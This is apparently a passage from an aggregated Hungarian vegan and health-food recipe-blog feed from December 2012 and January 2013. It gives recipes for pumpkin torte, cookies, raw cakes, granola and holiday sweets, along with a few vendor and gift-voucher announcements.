- búzadara
Elkészítés:
A felkockázott vagy vékony szeletekre vágott sütőtököt keményre pároljuk, vagy akár kókuszzsírral kikent tepsiben meg is süthetjük (héj nélkül). Mindkét esetben egy kevés ételízesítővel megszórjuk. Amikor már valamennyire megpuhult (nem nyers), de mégis kemény az állaga, egy kevés szerecsendióval összekeverjük.
Egy tortaformát kikenünk alaposan kókuszzsírral, majd a 2 réteslappal kibéleljük. Kókuszzsírt teszünk a réteslapokra és egy kevés búzadarával egyenletesen megszórjuk. A sütőtököket beletesszük, majd a réteslapok szélével befedjük. A maradék réteslapokat egy tálcán egymáson kiterítjük és a közepébe "kifordítjuk" az eddig összeállított sütőtökös tortát. A réteslapokkal szintén betakarjuk, így egyformán jut mindkét felére réteslap. Így helyezzük vissza a tortaformába a tálca segítségével. (Visszaborítjuk.) A tetejére is kókuszzsírt teszünk. A formát egy tepsibe helyezzük (a kókuszzsír megolvadva megfolyhat és kijutva a sütőtérbe égett szagot eredményezhet). Kb. 20 perc alatt aranybarnára sütjük.
A tortaformából már akkor vesszük ki, mikor kicsit megszikkadt, kihűlt a torta. Hidegen, melegen is fogyasztható. Előételnek, könnyed vacsorának vagy desszertnek is tálalható. Desszert esetében a szerecsendiót esetleg kihagyhatjuk, és egy kevés mézzel tovább édesíthetjük. (Bár én nem vagyok annak a híve, hogy zöldséget, gyümölcsöt tovább édesítsünk.)
UI: Ha nem melegen szeleteljük, nagyon szép szeleteket lehet vágni. Annyira kipróbáltuk volna, hogy nem vártuk meg az első szeletnél, hogy kihűljön, ezért csúszott szét picikét, de így is nagyon jó volt.
Aszalt sárgabarackos kifli
2013. január 17. Lét-tudatos konyha
Hozzávalók: - 50 dkg tönkölybúzaliszt - 10 dkg szójaliszt - csipet só - 20 dkg kókusz- vagy pálmazsír - 3 dkg élesztő - 1 teáskanál cukor - kb. 1,5 dl víz Töltelék: aszalt sárgabarack sárgabaracklekvár (natúr) Elkészítése: Az aszalt sárgabarackot megmossuk, és ha szükséges, akkor langyos vízbe beáztatjuk, hogy megpuhuljon. A kétféle lisztet összekeverjük, hozzáadjuk a csipet sót, majd elmorzsoljuk az olvasztott, de már nem meleg zsiradékkal. Az élesztőt felfuttatjuk kevés, cukorral elkevert langyos vízben. Összegyúrjuk, apránként hozzáadva a maradék langyos vizet. A tésztát kinyújtjuk és köröket szaggatunk ki belőle. Mindegyik korong közepére egy kevés baracklekvárt halmozunk és egy aszalt sárgabarackot helyezünk. Félbehajtjuk, a széleknél alaposan lezárjuk, hogy a nyíláson keresztül ne folyjon ki a töltelék. Előmelegített sütőben, 180 fokon aranysárgára sütjük. Kapcsolódó recept: Aszalt szilvás kifli
Darálós keksz 2.
2013. január 17. Lét-tudatos konyha
A korábbi darálós keksz variációi, mogyorós és karobos ízesítésben. Mogyorós Hozzávalók: - 45 dkg liszt (30 dkg teljes kiőrlésű búzaliszt és 15 dkg finomliszt) - 5 dkg darált mogyoró - 15 dkg vaj vagy növényi zsiradék (kókusz- vagy pálmazsír) - 3 ek nádcukor - 1 ek sütőpor Karobos Hozzávalók: - 45 dkg liszt (30 dkg teljes kiőrlésű búzaliszt és 15 dkg finomliszt) - 5 dkg karobpor - 15 dkg vaj vagy növényi zsiradék (kókusz- vagy pálmazsír) - 3 ek nádcukor - 1 ek sütőpor - reszelt citromhéj Elkészítése: A hozzávalókat összegyúrjuk, kevés vizet adunk hozzá, épp csak annyit, hogy összeálljon, de ne legyen lágy. Pár órára vagy egy éjszakára hűtőbe tesszük. Másnap húsdarálóra szerelt kekszformán ledaráljuk. 200 °C-os sütőben rövid ideig sütjük. Kapcsolódó recept: itt
Vegán őszibarackos krémtúró
2013. január 15. Mindennapi ételeink
Hozzávalók: 1 doboz őszibarackos Alpro szójajoghurt (lehet más ízesítésű is) 3 ek. Alpro natúr joghurt 15 dkg főtt köles 10 dkg natúr tofu 10 dkg nyírfacukor 1 rúd vanília kikapart belseje 1 citrom héja 1 tk. kókuszolaj 1 marék mazsola Elkészítés: Nagyon egyszerű: a főtt kölest (előző este kifőzhetjük, háromszoros mennyiségű vízben) összekeverjük a szójajoghurtokkal, a nyírfacukorral, kókuszolajjal, vaníliával, citromhéjjal, mazsolával és a darabokra vágott, összeturmixolt tofuval. FELHASZNÁLÁSI JAVASLATOK: Nagyon finom: - önmagában, - palacsintába töltve, - túrós batyunak megsütve, -psylliummal kiegészítve túrótortának, -túrófánkba téve, - és végülis szinte bárminek, amibe édes túró töltelék menne :-).
Aszalt paradicsomos tojásmentes rántotta
2013. január 13. Fittanyuka Blog
Mediterrán hangulatban vagyok, ugyanis nagy lelkesedéssel készülök a január 21.-i mediterrán főzőtanfolyamra. Mivel imádom a mediterrán konyhát, beszereztem rengeteg hozzávalót, fűszereket és most a család nagy örömére ezeket nagy erőkkel alkalmazom a hétköznapokban is. Tegnap készítettem ezt a tojásmentes rántottát, amelynek alapja a sárgaborsó liszt. Legfinomabb frissen, melegen, gazdagon fűszereztem kakukkfűvel és friss vegyes salátával fogyasztottuk. Sárgaborsónak szintén magas a növényi fehérje, rost tartalma, kitűnő bundázni, frittatának és akár ilyen rántotta jellegű ételnek is. Sárgaborsó liszt hiányában készíthetjük még csicseriborsó lisztből is, hasonló tulajdonságokkal rendelkezik. Kontra tojásfogyasztásról ITT olvashattok! Hozzávalók: 3-4 fő részére 100 g sárgaborsó liszt 1/2 kk himalaya só 1 kk kakukkfű 1 kk édes, őrölt piros paprika 1 db vöröshagyma kókusz olaj a sütéshez 1 evőkanál hidegen sajtolt olíva olaj 1 cikk fokhagyma pár szem aszalt paradicsom néhány szelet növényi sajt A sárgaborsó lisztet elkeverjük annyi vízzel, hogy sűrű palacsinta tésztát kapjunk, hozzáadjuk a sót, fűszereket, préselt fokhagymát és egy kerámia, vagy más tapadás mentes edényben felforrósítjuk a kókusz olajat amelyen a kockára vágott vöröshagymát megdinszteljük, majd ráöntjük a sárgaborsó lisztből készült, fűszeres egyveleget. Rátesszük az aszalt paradicsomokat, a növényi sajtot és ahogyan megsült az egyik oldala óvatosan részenként vagy akár egyben megfordítjuk. Ha ügyesek vagyunk omlett jellegűre is készíthetjük. Én összekavartam, amikor elkészült meglocsoltam kevés hidegen sajtolt olíva olajjal. Melegen azonnal fogyasztjuk zöldségek kíséretében. Fittanyuka
Vegán chocolate chip cookies
2013. január 8. Zizi kalandjai
Igen, tudom... miért nem magyarul van megadva a cím?! Valahogy így mondanám: vegán csokoládécseppes kekszek. Nem hangzik rosszul, de fura. Szerintem a chocolate chip cookies már annyira beépült a köztudatba, hogy nagyon sokan ismerik így is (még a Wikipédia is szentel neki egy külön oldalt).
Ezek a kekszek is karácsonyra készültek, bevallom nekem a kedvenceim lettek az öt-hatféle változat közül. Vágytam már igazi amerikai chocolate chip cookies-ra, csak egy kicsit egészségesebb változatban, kevesebb cukorral édesítve és vegánul elkészítve. Nagyon sok recept kering az interneten, nem nehéz találni egy tutit. Vegán változat azonban kevesebb van. Én Emily receptjét vettem alapul, néhány apróságon változtattam, többek között a cukor mennyiségét csökkentettem. Amit pedig először csináltam az az, hogy a kókuszzsírt nem olvasztottam fel hozzá, hanem hagytam megpuhulni szobahőmérsékleten, így a puha kókuszzsírral kevertem ki a nádcukrot, mintha vajat használtam volna. Meg kell mondanom, hogy nagyon tetszett az élmény.
A tésztájába került banán édesít rajta és kicsit puhává teszi a kisült kekszeket. Két héttel később dobozban tárolva még mindig puhák voltak. A két hét nem azt jelenti, hogy ennyire nem ízlett volna, hanem annyi süteményünk, édességünk volt az ünnepek alatt és után, hogy nem győztük I.-vel megenni őket.
Apropó, cukor és édesség. Emlékeztek, hogy tavaly februárban kihívás elé állítottuk magunkat és végig csináltunk egy hardcore 25 napos cukormentes hónapot? Nos, vannak, akik már érdeklődtek nálam, hogy az idén tartanék-e újra cukor- és édességmentes hónapot, mert csatlakoznának a kihíváshoz. Ha lenne kedvetek egy ilyenben részt venni, jelezzétek itt a recept után kommentben. Még az is lehet, hogy valamilyen nyereményért csinálnátok a kihívást és jutalmat kapna a legkitartóbb a kihívás végén! ;) Na, mit szóltok hozzá?
Vegán chocolate chip cookies
Hozzávalók:
- 120 g teljeskiörlésű tönkölyliszt
- 135 g tönköly fehérliszt
- 110 g nádcukor
- 120 g kókuszzsír, puha állagban
- 80 g ét csokibogyó/csokicsepp
- 1 db érett banán, meghámozva, villával pépesre törve
- 1 teáskanál szódabikarbóna
- 1/2 teáskanál só
- 2 evőkanál mandula/rizs/zab/szójatej
- 1 vaníliarúd kikapart magjai
Egy tálban keverjük össze a száraz hozzávalókat: lisztek, szódabikarbóna, só. Egy másik tálban keverjük ki a nádcukrot a puha kókuszzsírral (én most ezt a változatot használtam). Ha már habos a kókuszzsír, adjuk hozzá a banánpépet, a vaníliát és a növényi tejet. Jól keverjük el, majd öntsük a száraz hozzávalókhoz. Adjuk hozzá a csokoládét és keverjük át a tésztát (puha, enyhén ragacsos, de jól formázható tésztát kell kapnunk).
Melegítsük elő a sütőt 180C fokra és béleljünk ki egy nagy tepsit sütőpapírral.
Fagyis- vagy evőkanállal adagoljunk gombócokat a sütőpapírra és egy kicsit lapítsuk le a tetejüket. 15-20 percig süssük, amíg aranybarnák lesznek.
Ebből a mennyiségből kb. 25 db lesz.
Almás-narancsos mákos guba jénaiban megsütve
Legtöbben karácsony idején készítenek mákos gubát. Való igaz, hogy én is ritkán jutok erre az elhatározásra. Ráadásul amióta házas vagyok, vagyis évek óta, mákos gubát most először készítettem. Eddig, ha guba volt, akkor inkább diós, esetleg mogyorós készült - hasonló elv alapján, csak sütés helyett tejszínhabbal. A tejszínhabos megoldásra még azoknál a szomszédoknál "szoktunk" rá, akik abban a bizonyos vízparti városban voltak az utolsó házunknál a szomszédaink, ahol a férfi halászember volt. Ők kínáltak meg diós gubával - tejszínhabbal a tetején egyik karácsonykor. Ugyanis amikor ott éltünk, szokás volt "szomszédolni" karácsony második ill. harmadik napján. Sőt szilveszter-újév idején is. De egy nagyobb városban már legfeljebb azok között terjedt el ez a szokás, akik réges régóta élnek egy társasházban... S azoknál sem feltétlen. 5 évig laktunk egy csinos, kerttel és pázsittal rendelkező társasházban, ahol összesen 6 lakás volt. De senki nem járt át a másikhoz karácsonyi vagy újévi köszöntésre. Hiába, ez már a nagy főváros volt, ahol az emberek sokkal zárkózottabbak. Igaz, mi minden karácsony alkalmával helyeztünk valami kis "gasztro-ajándékot" az ajtajuk kilincsére.
Szóval most következzen egy mákos guba recept, ami egy igazi kalciumbomba - köszönhetően a máknak, és a szezámtejnek, amivel készült.
A recept:
Hozzávalók:
- 6-8 kifli felkarikázva, megszárítva
- 1 narancs héja lereszelve
- 3 kisebb alma lereszelve
- néhány kanál mák (ki mennyire szereti édesen)
- kb. 1,2 l növényi tej (jelen esetben banános szezámtej)
- édesítőszer (stívia, gyümölcscukor, xilit, nyírfacukor, méz stb.)
- kókuszzsír
Elkészítés:
A felkarikázott kifliket egy széles, nagy tálba tesszük. 2 dl tejet félre teszünk. Az előre elkészített darált mák felével összekevert növényi tejjel meglocsoljuk. Érdemes egy sor kiflit letenni, meglocsolni, következő sort rá, ismét meglocsolni, míg a kiflikarikák el nem fogynak. Próbáljunk minden kiflidarabot egyenlően meglocsolni a tejjel. Kicsit állni hagyjuk, majd egy jénai tálat (vagy más tűzállót) egy kevés kókuszzsírral kikenünk. A gubakiflikből egy sort a tálba fektetünk. Megszórjuk az édesített darált mákkal, meghintjük egy kevés narancsreszelékkel (narancsot reszelés előtt megmostuk!) és a reszelt alma egy részével befedjük. Ismét kiflikarikákat teszünk le egy sorba. Addig haladunk, míg minden el nem fogy. (Beosztva, hogy minden szintre egyenlő mák, narancsreszelék és alma jusson.) A végén, a lereszelt narancsot a maradék, félre tett szezámtejbe csavarjuk, ha szükséges kicsit édesítjük és meglocsoljuk vele a lerakott kifliket úgy, hogy az edény szélén jusson az alsóbb kiflikre is. Sütőben megpirítjuk. Kb. 20-30 perc alatt készre sül. Nekem kicsit "megkelt", mint egy kelt tészta ez a "gubarakottas", de ahogy hűlt ki, úgy nyerte vissza eredeti, alacsonyabb formáját. Nagyon sokat készítettem, ketten nem tudtunk volna ennyivel megbirkózni, így karácsonykor vittünk magunkkal a vendégségbe is. Szerintem szilveszterre is remek étel lehet.
Kókuszos datolya energia golyók
2012. december 29. Zizi kalandjai
Ezek a kis dundi energia golyók először októberben készültek el, amikor túrázni mentünk a Bükkbe. Úgy gondoltam jól fognak jönni csemegének a 10-20 kilométeres távok során, amikor a folyamatos folyadékbevitel és az elveszett energia pótlása a cél. Javasolt ilyenkor összetett, lassan felszívódó szénhidrátok fogyasztása (gyümölcsök, teljes értékű gabonafélék), amelyek által később következik be a vércukorszint emelkedés, majd csökkenés, így akár egy óráig is kibírjuk (persze ez főleg intenzív sportolásra igaz, de egy hosszú túra során is érdemes erre odafigyelni).
Ezek az energia golyók nagy népszerűségnek örvendtek a túratársak körében is, így úgy gondoltam a karácsonyi gasztro ajándékok listájából sem maradhat ki. A hozzávalók köre kifogyhatatlan, bátran kísérletezzünk többféle variációval. Hasonlót már készítettem néhány éve szintén karácsonyra. Persze nem kell hozzá semmilyen alkalom... ha csak egészséges nasira vágyunk, mindenképpen készítsük el.
Kókuszos datolya energia golyók
(Recept inspiráció: Daily Garnish)
Hozzávalók kb. 36 db-hoz:
- 1 bögre zabpehely
- 1 bögre kókuszreszelék + extra a bevonáshoz
- 1/2 bögre pirított tökmag
- 1/4 bögre víz
- 12 szem datolya, kimagozva, negyedekre vágva
- 1/2 teáskanál fahéj
- 1 vaníliarúd kikapart magjai
- 1 bio narancs reszelt héja
- csipet só
Konyhai robotgépben daráljuk finomra a zabpelyhet, kókuszreszeléket és tökmagot. Adjuk hozzá a datolyát, vaníliát, fahéjat, narancshéjat és sót. Folyamatosan dolgoztassuk a robotgépet, miközben lassan kezdjük el adagolni a vizet, amíg a massza enyhén ragacsossá válik (állítsuk le a gépet és ellenőrizzük az állagot).
Formázzunk golyókat a masszából, forgassuk meg kókuszreszelékben és fogyasszuk azonnal vagy tároljuk dobozban hűvös helyen (10-14 napig eláll).
Szedres Csokoládé - Nyers torta
2012. december 28. Fittanyuka Blog
A karácsony után általában besokallunk az édességekből, cukros süteményekből. Ígéretemhez híven megosztom veletek ezt a nyers torta receptet amelyet a minap készítettem el újra, könnyű finomság a nehezebb karácsonyi sütik után. Nem mellékes, hogy gluténmentes és alacsony cukortartalmú! Próbáltam minél könnyebbre készíteni, semmiképpen nem szerettem volna aszalványokkal gazdagítani a magas cukortartalmuk miatt, továbbá számomra nagyon töménnyé teszik az ilyen fajta süteményeket. Nem kedvező az aszalványokkal való dúsítás, édesítés azok számára sem akik savasodásban, candidában szenvednek. ( Ők édesítés gyanánt részesítsék előnyben az agave szirupot a méz helyett!) Hozzávalók: Alap: 200 g beáztatott, lehéjazott mandula, megdarálva 1 evőkanál útifűmaghéj őrlemény 40 g nyírfacukor vagy 2 evőkanál agave szirup 1 evőkanál szobahőmérsékletű kókusz olaj 100 ml víz Az összetevőket alaposan összeturmixoljuk és egy kisméretű, kapcsos torta formába ( kb. 10 szeletes) belenyomkodjuk és 2-3 órára a hűtőszekrénybe tesszük. Szedres krém réteg: 1 bögre friss vagy télen fagyasztott szeder ( habár természetesen értékesebb a nem fagyasztott változat) 1 avokádó 2 evőkanál agave szirup vagy méz késhegynyi bourbon vanília késhegyni őrölt fahéj ( erjedésgátló hatású!) 1 evőkanál útifűmaghéj őrlemény 1 evőkanál szobahőmérsékletű kókusz olaj 1/2 reszelt citrom héja és leve Az összetevőket alaposan összeturmixoljuk és az alaprétegre simítjuk. Nyers csokoládé réteg: 1 avokádó 2 evőkanál kakaó por 2 evőkanál agave szirup vagy méz 1 evőkanál szobahőmérsékletű kókusz olaj 1 evőkanál víz Az összetevőket alaposan összeturmixoljuk és az előző két rétegre simítjuk egy krém lapát segítségével. A tortát 3-4 órára a hűtőszekrénybe tesszük. Miután összeállt a torta, szétkapcsoljuk, tetejét megszórjuk kakaó porral, szederrel díszítjük. Hűtőben 2-3 napig eláll! Érdemes minél frissebben fogyasztani, mert a nyers gyümölcs gyorsan erjed! Fittanyuka
Zelleres krumplikrokett
2012. december 21. Fittanyuka Blog
Az ünnepi menüt fontolgatom, miközben a tennivalóimat végzem. Egyre kevesebb idő jut ilyesmire, de fontosnak tartom, hogy előre megkomponáljuk az ünnepi fogásokat, dolgozzunk előre, hogy az ünnepek a pihenéssel és a családdal teljen, ne a konyhában töltsük ezeket az értékes pillanatokat:). Holnap jövök egy kis kollázzsal, azokkal az ételekkel, receptekkel amelyeket elkészítek és amelyekre csak úgy rájárunk az Ünnepek alatt. Elöljáróban megosztom veletek ezt a krokett receptet, amelyet elkészíthettek köretnek, vagy hidegen is fogyaszthattok saláták, fasírtok mellé. Hozzávalók ( kb. 10 - 15 darab): 250 g főtt krumpli 250 g főtt zeller 1 evőkanál kókusz olaj felmelegítve 1 kk himalaya só 1 kk nem csípős curry 1 evőkanál kukorica keményítő szezám mag A krumplit és a zellert a fűszerekkel az olajjal kézi turmixgép segítségével összedolgozzuk, majd vizes kézzel hengereket formázunk, amelyeket meghempergetünk a szezámmagban és előmelegített sütőben 180 C fokon, sütő papírra helyezve 20 perc alatt aranybarnára sütünk. Fittanyuka
Téli napok gyümölcslevese
Amióta házas vagyok, ez a 3. alkalom, hogy gyümölcslevest készítettem nekünk. Olyan egyszerű indok van emögött, hogy a férjem ugyan szereti a gyümölcslevest, de mivel az édes, képtelen utána sós főételt enni. Desszertet meg pláne. Így aztán alig jut eszembe, hogy gyümölcsleves legyen ebédre. Emlékszem, az első meggyes - piros színű volt, a második barackszezon idején barackleves. Mindkettő régen volt, blogot még nem vezettem, s szerintem fotó sem készült róluk. Pedig finomak lettek, akárcsak a mostani, ami a tél gyümölcseinek a specialitásából állt elő. :)
A recept:
Hozzávalók:
2 körte
2 sárga alma
1 piros alma
5 szem mandarin (apróbb)
2 banán
1 barackkonzerv (akár el is hagyható)
kókusztej
vaníliás pudingpor (elhagyható)
víz
Elkészítés:
A gyümölcsöket megmossuk, a mandarinokat és a banánt meghámozzuk, és minden gyümölcsöt apró kockákra, a banánt karikára vágjuk. A banán és a barackkonzerv kivételével mindet egy lábosba tesszük és ráöntjük az előzőleg elkészített kókusztejet (kb 5 dl kókusztej). Rövid ideig forraljuk, míg a gyümölcsök kicsit megpuhulnak. Közben 2,5 dl hideg vízzel kikeverjük a pudingport (érdemes jobb minőségű, különböző adalékanyag-mentest venni). Amikor a gyümölcsök megpuhultak, hozzáadjuk a banánt és a barackot, majd hozzákeverjük a vízzel simára kevert pudingport. Csak egyet forr még, hogy a puding is a "helyére kerüljön", és kész is a finom gyümölcslevesünk. Mivel a barackbefőtt eleve kicsit édes, nem is szükséges hozzá semmi édesítő - cukor és társai. Akár karácsonyra is elkészíthetjük. Kicsit melegen fogyasztottuk, jól esett nagyon - mindkettőnknek. :)
UI: Na ugye, hogy nem ma jött el a világvége!:)
Ajándékozzon egészséget!
2012. december 18. Lét-tudatos konyha
AJÁNDÉKUTALVÁNYOK Közeleg a Karácsony, sokaknak fejtörést okoz, hogy az áruházak, vásárok vagy csomagküldő szolgálatok kínálatából milyen ajándék kerüljön a karácsonyfa alá. Ha fontos számunkra, hogy ajándékunk örömet szerezzen és az ajándékozott egészségét is támogassa, akkor lepjük meg hozzátartozóinkat, szeretteinket az alábbi egészségtudatos szolgáltatásokkal. Az alábbi szolgáltatások ajándékutalvány formájában személyre szólóan megrendelhetők: - Életmód tanácsadás - testtípus alapján összeállított étrend, táplálkozási és egészséget támogató javaslatok - Reform főzőtanfolyam - ételek reform köntösben: a hagyományostól a legmodernebb fogásokig - Kineziológiai kezelés - probléma- és stresszoldás kineziológiával - Kronobiológiai elemzés - személyes energetikai elemzés készítése - Egészségjavító thai masszázs (thai talpmasszázs vagy thai aromaolajos testmasszázs) *Az utalvány szolgáltatásai Szegeden vehetők igénybe, kivéve a kronobiológia, amely e-mailben vagy postán is elküldhető írásos elemzés. Információ: renata.kalman*kukac*lettudatos.com AJÁNDÉKOK Kézműves reform kekszek: (8-féle választék: mézeskalácsos, mákos, diós, zabpehely-sütőtökös, kakaós, karobos, kókuszos, sós-lenmagos ízesítésben) India butik webáruház - egészség és spiritualitás: meditációs kellékek, szentélyfigurák, kendők, medálok, dekoráció, könyvek
Téli-Déli gyümölcsös turmix
Egy kis mangó, egy kis banán, egy kis kivi egy kis víz és szinte déli országokba röpülhetünk gondolataink szárnyán, egy rövid kis időre. Feltöltekezünk a meleg, gyümölcsöktől illatos levegővel és visszatérünk (a hideg, zord téli napokba).
A recept:
Hozzávalók:
- 1 érett mangó
- 2 banán
- 3 kivi
- 1-2 dl "kéz-meleg" víz
- kókuszreszelék (díszítéshez)
Elkészítés:
A mangót, banánokat, kiviket megfosztjuk héjuktól és a turmixgépbe daraboljuk őket. Melegebb vizet öntünk rá (legalább is télen finomabb meleg vízzel) és egyszerűen összeturmixoljuk. Poharakba öntjük és kókuszreszelékkel megszórjuk a tetejüket.
Hmmm.... Nagyon finom. Igazi, téli-gyümölcsös koktél, amely rövid időre idehozza nekünk a meleg déli élményt.
Avokádókrémes banán falatkák
Egyszerű és nagyszerű!
Vendégváró falatkáknak, tízóraira, uzsonnára ideális, mutatós, olcsó, gyorsan elkészíthető, egészséges.
Gyerekek is imádni fogják a cukrászdai és otthoni margarinos-cukros-lisztes-tojásos-tejes sütemények helyett.
Hozzávalók: banán, puha érett avokádó, méz (vagy más növényi szirup, pl. agavé), kakaópor, díszítésnek: aszalt goji bogyó, kókuszreszelék
Elkészítés: A banánt felkarikázzuk, és tányérra rakjuk. Az avokádót a mézzel, kakaóporral botmixerrel összemixeljük, nyomózsákba töltjük, és a banán karikákra nyomjuk. Az avokádós csokikrém tetejére egy goji bogyót teszünk, és az egészet megszórjuk kókuszreszelékkel, hogy még mutatósabb legyen.
Jó étvágyat!
Házi csokoládés mogyorókrém, avagy az otthon készített Nutella legendája
2012. december 11. Zizi kalandjai
Az egyre nagyobb népszerűségnek örvendő házi készítésű gasztronómiai ajándékok tárháza kifogyhatatlan. Az utóbbi években én is saját készítésű finomságokat készítettem a családnak és a barátoknak. Ízléses csomagolás és a várva várt siker soha nem marad el. Bátran kísérletezzünk és az idén ajándékozzunk saját magunk által készített bonbonokat, kekszeket, mustárt, kenyérre kenhető krémeket, lekvárokat, csokoládét.
Ez a házi csokoládés mogyorókrém garantált siker. Érdemes nagyobb adaggal készíteni belőle, mert mi sem fogunk tudni ellenállni. Ha van konyhai robotgépünk elég gyorsan elkészülünk vele. És igen, a törökmogyoró nem olcsó mulatság, de egy guszta üvegbe csomagolt házi Nutellára mindenkinek felcsillan a szeme, bárkinek is ajándékozzuk. Válasszunk hozzá jó minőségű tej-és étcsokoládét, hogy elkerüljük a felesleges adalékanyagokat. A krémet két receptből gyúrtam össze, az egyik Dóráé, a másik az ausztrál barátnőmé, Emiko-é (ő még videót is készített hozzá, érdemes megnézni).
Szofisztikáltabb ajándékozottnak a tejcsokoládé mennyiségét 350 grammra, az étcsokoládét pedig 150 grammra változtatnám. :) Vegánok pedig a tejcsokoládé helyett használjanak rizstej alapú csokoládét.
Házi csokoládés mogyorókrém
Hozzávalók:
- 250 g törökmogyoró
- 400 g jó minőségű tejcsokoládé
- 100 g jó minőségű étcsokoládé
- 3 evőkanál mogyoró- vagy kókuszolaj
- 3 evőkanál cukrozatlan kakaópor
- 1/2 teáskanál só
A mogyorót tepsire tesszük és 170-180 fokra előmelegített sütőben addig pirítjuk (kb. 8-10 perc), amíg a héj jól megbarnul, a mogyorószemek pedig megpörkölődnek. Az így elkészült mogyorót konyharuhába öntjük és ledörzsöljük vele a mogyorószemek héját (nem baj, ha marad egy kevés rajtuk). Ezután a mogyorót robotgépben krém állagúra őröljük (kb. 10-12 perc). Hozzáadjuk a mogyoróolajat, a kakaóport és a sót, majd tovább járatjuk a robotgépet, hogy a massza teljesen összeálljon.
Vízgőz felett egy tálban megolvasztjuk a tej- és étcsokoládét, majd ezt a mogyorós keverékhez öntjük. Még néhány percre bekapcsoljuk a robotgépet, hogy a krém jól összekeveredjen. Kis üvegekbe töltjük és szobahőmérsékleten hagyjuk kihűlni. Ebből a mennyiségből kb. fél liter mogyorókrém lesz.
Karácsonyi édességek
2012. december 6. Gitta nyersétel blogja
Már most el lehet kezdeni gondolkozni azon, hogy milyen egészséges, nyers édességeket fogunk az ünnepek alatt készíteni, vagy feltálalni az ünnepi asztalra. Íme egy kis kedvcsináló, hogy mi milyen édességekkel készülünk a karácsonyra! Ha van kedved, próbáld meg elkészíteni. Ha nincs, akkor írj nekem a gitta@nyersetelakademia.hu címre, és rendeld meg! Mákos bejgli, diós bejgli Receptek itt: bejgli recept A diós bejgli is hasonlóan készül, csak mák helyett dió töltelékkel. Rendelés: 2400 forint / rúd (kb 18 cm-es rúd) Kókuszos és mákos tekercsek Ehhez nem tudok most receptet ajánlani, de ha időm engedi, még karácsony előtt felteszem! A mákos tekercs hasonló, csak a tésztájában nincs kakaó (vagyis világos), és a kókuszos töltelék helyett mákos töltelék van benne. Rendelés: 2400 forint / rúd ( kb 18 cm-es) Zserbó A nyers zserbót már sokan ismerik, aki egyszer megkóstolta, nem felejti el! A receptet itt találod: Zserbó recept A zserbót most egész táblában kínáljuk! Rendelés: 4800 forint / tábla ( kb 18x18 cm-es) És a nyerskonyha legfinomabb tortái Csokitorta, narancsos csoki torta, kókuszos csokitorta, mákos-almás torta Most itt az idő, hogy megkóstold te is, rendelj nálam: gitta@nyersetelakademia.hu
Gombapecsenye
-10 fok van kint, igazán jól esett ez a finom, fűszeres, meleg étel ? Hozzávalók: 25 dkg gomba 1 fej vöröshagyma 1 cikk fokhagyma 1 diónyi kókuszzsír 1 kk tiszta só 1 csipet majoranna a csipet kakukkfű 1 kk bors 1 tk friss, aprított petrezselyem 2 ek zabpehely A hagymát megpucoljuk, megmossuk, és pici kockákra [...]
Szuper reggeli: Sütőtökös fűszeres granola
2012. december 3. Zizi kalandjai
Pénteken ezzel a dallal hangolódtam rá a karácsonyra, na meg a lakásban terjengő fahéj, csokoládé, mandula és dió illattal. Helló december! Üdv a körünkben!
Ennek megfelelően egy olyan receptet hoztam, ami kiváló ködös, hideg decemberi reggelekre. A szuper reggeli kategóriába soroltam, de ötletes gasztro ajándék is lehet (nálam lesz is! :) - guszta üvegbe téve, ízlésesen becsomagolva, garantált a siker), amit karácsony reggelén együtt fogyaszthatunk el a családdal. Csupa tápláló alapanyag van benne, amelyek ízlés szerint variálhatók. A granola alapját a zabpehely, olajos magvak és valamilyen édesítőszer képezik, adhatunk hozzá aszalt gyümölcsöket, jó minőségű csokoládét, megszórhatjuk kakaóval vagy kókuszreszelékkel... szóval rengeteg variánsa van. Egy korábbi cukormentes granola receptet itt találtok.
Mindenkinek jó készülődést kívánok az ünnepekre!
Sütőtökös fűszeres granola
Hozzávalók:
- 2 bögre zabpehely
- 1/3 bögre sütőtökpüré
- 1/2 bögre dió
- 1/4 bögre juharszirup (méz, rizs- vagy agavészirup is használható)
- 3 evőkanál szezámmag
- 2 és 1/2 evőkanál kókuszolaj
- 1 teáskanál fahéj
- 1/8 teáskanál őrölt szerecsendió
- 1/8 teáskanál őrölt szegfűszeg
- 1/2 teáskanál só
- 1/4 bögre aszalt vörösáfonya
(A recepthez használt bögre 250 ml-es.)
A sütőt melegítsük elő 160 fokra. Egy tálban keverjük össze a zabpelyhet, a diót, a szezámmagot, a fahéjat, a szerecsendiót, a szegfűszeget és a sót. Egy másik tálban keverjük el a sütőtökpürét a kókuszolajjal és juharsziruppal. Ezt a keveréket adjuk a zabpehelyhez és jól dolgozzuk el. Öntsük a nedves granolát egy sütőpapírral bélelt tepsire és süssük 30-40 percig, amíg a magok aranybarnára pirulnak. Félidőben egy kanállal keverjük át, hogy egyenletesen megsüljön. Öntsük üvegekbe, csomagoljuk és már kész is az ajándékunk.
Vegán sütőtökös csokoládés keksz
2012. november 29. Zizi kalandjai
Ezennel újra megnyitom a vega karácsony sorozatot. Igyekszem időben felkészíteni benneteket és minél több új receptet hozni, a régiekből meg összeállítást készíteni, hogy meglegyen az inspiráció. Ha ez lesz az első vegetáriánus karácsonyod, nem kell megijedni, garantálom, hogy nem fogsz éhezni és minden földi jóban lesz részed! :) Ezek az ötletek akkor is jól jönnek, ha vega vendéget várunk az ünnepekre és nem tudjuk, hogy mit főzzünk, süssünk neki. A sorozatba beillesztem a gasztro ajándékokat is, ugyanis évek óta már ilyenekkel lepem meg a családot és a közeli barátokat. Jönnek a keksz receptek, meg egyéb finomságok is, de legyen ez egyelőre meglepetés.
Sütőtökös csokis kekszet sütöttem már korábban is, de az nem volt vegán. Az utóbbi időben rákaptam a vegán kekszekre és szinte már csak ilyeneket gyártok. Nagyon egyszerűen kikerülhető a tojás és a tejtermék is (erről egy külön bejegyzésben később). A végeredmény pedig magáért beszél: gyorsan elfogynak! Akinek pedig elmesélem, hogy ebben se tojás, se tejtermék, az csodálkozik, hogy mennyire finom dolgok készíthetők ezen alapanyagok elhagyásával is. Teszteljétek! :)
Vegán sütőtökös csokoládés keksz
Hozzávalók:
- 1 és 1/4 bögre zabpehely
- 1 bögre teljeskiörlésű tönkölyliszt vagy teljeskiörlésű búzaliszt
- 1/4 bögre hajdina liszt
- 1/2 bögre nádcukor
- 1 teáskanál só
- 1 teáskanál fahéj
- 1 evőkanál sütőpor
- 2 evőkanál őrölt lenmag (szemes lenmag is jó, de azt törjük össze mozsárban)
- 6 evőkanál víz
- 1 bögre sütőtök püré
- 3 evőkanál kókuszolaj
- 1 teáskanál almaecet
- 1 vaníliarúd kikapart magjai
- 1/2 bögre dió
- 3/4 bögre 70%-os csokoládé, felkockázva
